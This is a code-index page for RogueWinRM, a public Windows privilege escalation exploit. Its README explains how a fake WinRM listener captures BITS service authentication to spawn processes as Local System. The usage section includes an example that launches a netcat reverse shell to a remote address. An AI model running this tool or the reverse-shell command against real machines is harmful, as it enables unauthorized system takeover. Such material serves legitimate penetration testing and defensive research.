MCPcopy Create free account
hub / github.com/antonioCoco/RogueWinRM

github.com/antonioCoco/RogueWinRM @1.1

Chat with this repo
repository ↗ · DeepWiki ↗ · release 1.1 ↗ · + Follow
78 symbols 172 edges 11 files 2 documented · 3% updated 6y ago1.1 · 2020-02-23★ 956

Browse by type

Functions 69 Types & classes 9
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

RogueWinRM

RogueWinRM is a local privilege escalation exploit that allows to escalate from a Service account (with SeImpersonatePrivilege) to Local System account if WinRM service is not running (default on Win10 but NOT on Windows Server 2019).

Briefly, it will listen for incoming connection on port 5985 faking a real WinRM service.

It's just a minimal webserver that will try to negotiate an NTLM authentication with any service that are trying to connect on that port.

Then the BITS service (running as Local System) is triggered and it will try to authenticate to our rogue listener. Once authenticated to our rogue listener, we are able to impersonate the Local System user spawning an arbitrary process with those privileges.

You can find a full technical description of this vulnerability at this link --> https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/

Usage

RogueWinRM

Mandatory args:
-p <program>: program to launch

Optional args:
-a <argument>: command line argument to pass to program (default NULL)
-l <port>: listening port (default 5985 WinRM)
-d : Enable Debugging output

Examples

RogueWinRM

Running an interactive cmd:

RogueWinRM.exe -p C:\windows\system32\cmd.exe

Running netcat reverse shell:

RogueWinRM.exe -p C:\windows\temp\nc64.exe -a "10.0.0.1 3001 -e cmd"

Authors

Core symbols most depended-on inside this repo

Shape

Function 65
Class 6
Method 4
Enum 3

Languages

C58%
C++42%

Modules by API surface

spnegotokenhandler/spnegoparse.c21 symbols
RogueWinRM.cpp17 symbols
spnegotokenhandler/spnego.c12 symbols
spnegotokenhandler/derparse.c12 symbols
LocalNegotiator.cpp5 symbols
base64.cpp4 symbols
spnegotokenhandler/spnego.h3 symbols
spnegotokenhandler/spnegoparse.h2 symbols
spnegotokenhandler/derparse.h1 symbols
LocalNegotiator.h1 symbols

For agents

$ claude mcp add RogueWinRM \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact

Ask about this repo answers extend the page